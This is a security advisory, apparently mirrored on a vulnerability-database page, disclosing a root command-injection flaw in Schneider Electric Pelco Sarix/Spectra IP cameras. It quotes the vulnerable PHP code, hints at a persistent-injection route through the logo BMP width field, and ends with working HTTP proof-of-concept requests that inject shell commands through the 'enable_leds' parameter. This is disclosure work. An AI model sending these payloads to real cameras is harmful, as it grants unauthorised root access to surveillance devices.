Lucene search
K

Schneider Electric Pelco Sarix/Spectra Cameras Root Remote Code Execution

🗓️ 10 Jul 2017 00:00:00Reported by Gjoko KrsticType 
zeroscience
 zeroscience
🔗 www.zeroscience.mk👁 73 Views

Schneider Electric Pelco Sarix/Spectra Cameras Root Remote Code Execution. Vulnerability allows remote attackers to execute arbitrary system commands with root privileges using specially crafted requests

Related
Code
ReporterTitlePublishedViews
Family
CNVD
Schneider Electric 1st Gen. Pelco Sarix Enhanced Camera and Spectra Enhanced PTZ Camera Arbitrary OS Command Execution Vulnerability
24 May 201900:00
cnvd
CVE
CVE-2018-7829
22 May 201919:35
cve
Cvelist
CVE-2018-7829
22 May 201919:35
cvelist
EUVD
EUVD-2018-19541
7 Oct 202500:30
euvd
NVD
CVE-2018-7829
22 May 201920:29
nvd
Prion
Design/Logic Flaw
22 May 201920:29
prion
RedhatCVE
CVE-2018-7829
22 May 202504:00
redhatcve
<html><body><p>Schneider Electric Pelco Sarix/Spectra Cameras Root Remote Code Execution


Vendor: Schneider Electric SE
Product web page: https://www.pelco.com
Affected version: Sarix Enhanced - Model: IME219 (Firmware: 2.1.2.0.8280-A0.0)
                  Sarix Enhanced - Model: IME119 (Firmware: 2.1.2.0.8280-A0.0)
                  Sarix - Model: D5230 (Firmware: 1.9.2.23-20141118-1.9330-A1.10722)
                  Sarix - Model: ID10DN (Firmware: 1.8.2.18-20121109-1.9110-O3.8503)
                  Spectra Enhanced - Model: D6230 (Firmware: 2.2.0.5.9340-A0.0)

Summary: Pelco offers the broadest selection of IP cameras designed
for security surveillance in a wide variety of commercial and industrial
settings. From our industry-leading fixed and high-speed IP cameras to
panoramic, thermal imaging, explosionproof and more, we offer a camera
for any environment, any lighting condition and any application.
When nothing but the best will do. Sarix™ Enhanced Range cameras
provide the most robust feature-set for your mission-critical applications.
With SureVision™ 3.0, Sarix Enhanced delivers the best possible image
in difficult lighting conditions such as a combination of bright areas,
shaded areas, and intense light. Designed with superior reliability,
fault tolerance, and processing speed, these rugged fixed IP cameras
ensure you always get the video that you need.

Desc: The affected cameras suffer from authenticated remote code
execution vulnerability. The POST parameter 'enable_leds' located
in the update() function called via the GeneralSetupController.php
script is not properly sanitised before being used in writeLedConfig()
function to enable led state to on or off. A remote attacker can
exploit this issue and execute arbitrary system commands granting
her system access with root privileges using a specially crafted
request and escape sequence to system shell.


---------------------------------------------------------------------------
/var/www/core/setup/controllers/GeneralSetupController.php:
-----------------------------------------------------------

43: public function update() {
44:         $errOccurred = false;
45:         $logoreboot = false;
46: 
47:         // If can update general settings
48:         if ($this-&gt;_context-&gt;_user-&gt;hasPermission("{51510980-768b-4b26-a44a-2ae49f308184}")) {
49:
50:             $errors = $this-&gt;validateInputs("setup", "general.invalid");
51:
52: //
53:             $new_logo_path;
54:             if (empty($errors) &amp;&amp; (strlen($_FILES["new_logo_path"]["name"]) &gt; 0)) {
55:                 // The user has provided a file to load in as an image.  Verify that the file is ok.
56:                 $errors = $this-&gt;storeBmpFileIfValid($new_logo_path, $width, $height);
57:             } else {
58:                 // In this case, get the width and height from the omons settings
59:                 $width = intval($this-&gt;_conf-&gt;get("Video/Overlay", "LogoWidth"));
60:                 $height = intval($this-&gt;_conf-&gt;get("Video/Overlay", "LogoHeight"));
61:             }
62: //
63:             if (empty($errors)) {
64:                 $device_name = $_POST["device_name"];
65:
66:                 $this-&gt;_conf-&gt;set("Device", "FriendlyName", $device_name);
67:
68:                 // update smtp server; append port 25 if it's not provided by the user
69:                 $smtpServer = $_POST["smtp_server"];
70:
71:                 if ((! empty($smtpServer)) &amp;&amp; preg_match(self::kHostPortRegex, $smtpServer) == 0) {
72:                     $smtpServer .= ":" . self::kDefaultSmtpPort;
73:                 }
74:
75:                 $this-&gt;_conf-&gt;set("Networking", "SmtpServer", $smtpServer);
76:
77: //
78:                 $success = $this-&gt;writeLedConfig($_POST["enable_leds"]);
79: //
80:             } else {
81:                 $this-&gt;_context-&gt;setError("phobos", "validation.failure");
82:                 $this-&gt;_context-&gt;setErrorList($errors);
83:
84:                 $errOccurred = true;
85:             }
86:         }

...
...
...

Bonus hint: When uploading a bmp logo, you can modify the width offset for example and inject persistent code:
--
-&gt; 12h: 00 01 00 00 ; width (max 0x100, min 0x20)
--
191:             if ($logoOverlay) {
192:                 if($logoreboot) {
193:                     $cmd = "/usr/bin/overlayLogo " . $logo_justification . " " . $logo_row . " " . $width  . " " .  $height . " 0";
194:                     exec($cmd);
195:                 }
196:             } else {                
197:                 $cmd = "/usr/bin/overlayLogo 1 1 1 1 1";
198:                 exec($cmd);
199:             }                

...
...
...

265:         $vparams["enable_leds"] = $this-&gt;getLedConfig();
266: //
267:         $vparams["device_name"]  = $this-&gt;_conf-&gt;get("Device", "FriendlyName");
268:         $vparams["TimeFormat"] = $this-&gt;_conf-&gt;get("Video/Overlay", "TimeFormat");        
269:         $vparams["date_formats"] = $this-&gt;getDateFormats();
270:         $vparams["selectedDateFormat"] = $this-&gt;_conf-&gt;get("Video/Overlay", "DateFormat");
271:
272:         ob_start();
273:         passthru("date +\"" . $vparams["TimeFormat"] . "\"");
274:         $vparams["current_time"] = trim(ob_get_contents());
275:         ob_end_clean();

...
...
...

630:     /** @param $state string "on" or "off" */
631:     protected function writeLedConfig($state) {
632:         $encoded = array('type' =&gt; 'uint32',
633:             'value' =&gt; ($state == 'on' ? 1 : 0));
634:
635:         $rest = $this-&gt;getRestProxy();
636:         $params = array(array('type' =&gt; 'uint32', 'value' =&gt; 10), $encoded);
637:         $response = $rest-&gt;GetWithPayload('/internal/msgbus/com.pelco.hardware.led/SetState?',
638:                                'application/json',
639:                                $params);
640:
641:         return ($response-&gt;GetStatus() == 200);
642:     }

---------------------------------------------------------------------------


Tested on: Linux 2.6.10_mvl401-1721-pelco_evolution #1 Tue Nov 18 21:15:30 EST 2014 armv5tejl unknown
           MontaVista(R) Linux(R) Professional Edition 4.0.1 (0600980)
           Lighttpd/1.4.28
           PHP/5.3.0


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2017-5417
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2017-5417.php


07.04.2017

--


PoC sleep 17s:

POST /setup/system/general/update HTTP/1.1
Host: 192.168.1.1
Content-Length: x
Cache-Control: max-age=0
Origin: http://192.168.1.1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Referer: http://192.168.1.1/setup/system/general
Accept-Language: en-US,en;q=0.8,mk;q=0.6
Cookie: PHPSESSID=p2ooorb7gloavc0et2stj2tnn4; authos-token=07E14CAF; svcts=1495616826
Connection: close

device_name=ZSL&amp;enable_leds=%60sleep%2017%60&amp;smtp_server=&amp;ntp_server_from_dhcp=false&amp;ntp_server=time.nist.gov&amp;region=Universe&amp;zone=Earth&amp;enable_time_overlay=on&amp;enable_name_overlay=off&amp;position=topright&amp;date_format=0

===

PoC echo:

POST /setup/system/general/update HTTP/1.1
Host: 192.168.1.1

enable_leds=%60echo%20251%20&gt;test.html%60

--

GET http://192.168.1.1/test.html HTTP/1.1

Response:

251
</p></body></html>

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

10 Jul 2017 00:00Current
8.1High risk
Vulners AI Score8.1
CVSS 38.8
CVSS 29
EPSS0.00523
73